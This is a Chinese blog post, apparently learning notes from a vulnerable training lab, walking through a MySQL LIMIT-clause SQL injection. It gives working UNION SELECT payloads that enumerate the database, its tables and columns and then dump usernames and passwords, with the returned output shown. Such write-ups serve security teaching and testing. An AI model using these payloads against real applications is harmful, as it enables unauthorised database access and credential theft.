当前位置:网站首页>五号黯区靶场 mysql 注入之limit注入记录
五号黯区靶场 mysql 注入之limit注入记录
2022-07-30 05:51:00 【YouthBelief】
前言
感谢五号黯区团队。
limit 功能 通常在分页处
比如page 字段 可能存在
limit注入(不存在order by)
http://bug.cc:86/limit/limit.php?p=1
访问靶场如下图
原数据库语句如下
select * from users where id <= 100 limit $p,1
p为传参点
1.1 当p 为1时 sql语句和回显为
select * from users where id <= 100 limit 1,1
id:2 username:Angelina password:I-kill-you
1.2 测试是否存在sql注入
payload:输入2 --+
select * from users where id <= 100 limit 2 -- ,1
id:1 username:Dumb password:Dumb
id:2 username:Angelina password:I-kill-you
如上 注释掉了 后边的,- 查询出两条数据
sql语句 执行成功 说明存在sql注入
1.3 测试回显位(limit注入后不能用order by 判断列数 )
payload:1,0 union select 1,2,3 --+
select * from users where id <= 100 limit 1,0 union select 1,2,3 – ,1
id:1 username:2 password:3
1.4 爆数据
库
select * from users where id <= 100 limit 1,0 union select 1,2,database() -- ,1
id:1 username:2 password:security
表
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- ,1
id:1 username:2 password:emails,referers,uagents,users
字段(两个语句锁定这个表)
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- ,1
id:1 username:2 password:id,username,password
字段值
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(username,0x7e,password) from security.users -- ,1
id:1 username:2 password:Dumb~Dumb,Angelina~I-kill-you,[email protected],secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
1.5 总结
回显 传入 2–+ 测试 就可以显示出3个字段
后续测法就和正常union 联合一样 但是不能用order by 判断数据列数
边栏推荐
- Pioneer in Distributed Systems - Leslie Lambert
- [GO语言基础] 一.为什么我要学习Golang以及GO语言入门普及
- Camera coordinate system, world coordinate system, pixel coordinate system conversion, and Fov conversion of OPENGLDEFocal Length and Opengl
- What happens when @Bean and @Component are used on the same class?
- Redis下载与安装
- Upload file -- file type, picture type, document type, video type, compressed package type
- 不会吧,Log4j 漏洞还没有完全修复?
- Station B collapsed, what would you do if you were the developer in charge that night?
- Oracle查看表空间使用率及爆满解决方案
- 人工肌肉智能材料新突破
猜你喜欢

空间顶点到平面的距离计算的证明及其源码

引导过程与服务控制

预测人们对你的第一印象,“AI颜狗”的诞生

The calculation proof of the intersection of the space line and the plane and its source code

STL源码剖析:bound friend template friend代码测试和理解

计算矩阵的逆源码(使用伴随矩阵,3×3的矩阵)

从 Google 离职,前Go 语言负责人跳槽小公司

Go语学习笔记 - gorm使用 - 数据库配置、表新增 Web框架Gin(七)

Local Implicit Grid Representations for 3D Scenes详解

Linx常见目录&文件管理命令&VI编辑器使用 介绍
随机推荐
What new materials are used in the large aircraft C919?
使用navicat连接mysql数据库时常报的错误:2003、1698、1251
Pioneer in Distributed Systems - Leslie Lambert
Go语学习笔记 - gorm使用 - 数据库配置、表新增 Web框架Gin(七)
STL源码剖析:class template explicit specialization代码测试和理解
window.open()的用法,js打开新窗体
限塑令下的新材料——聚乳酸(PLA)
上传文件--文件类型大全,图片类型,文档类型,视频类型,压缩包类型
export , export default,import完整用法
Test Development Engineer Growth Diary 015 - Top 20 Test Interview Questions
Is it possible to use the same port for UDP and TCP?
Upload file -- file type, picture type, document type, video type, compressed package type
首届人工智能安全大赛正式启动
Linx common directory & file management commands & VI editor usage introduction
Redis download and installation
Process and Scheduled Task Management
interface
mysql高阶语句(一)
this与super
Vue项目通过node连接MySQL数据库并实现增删改查操作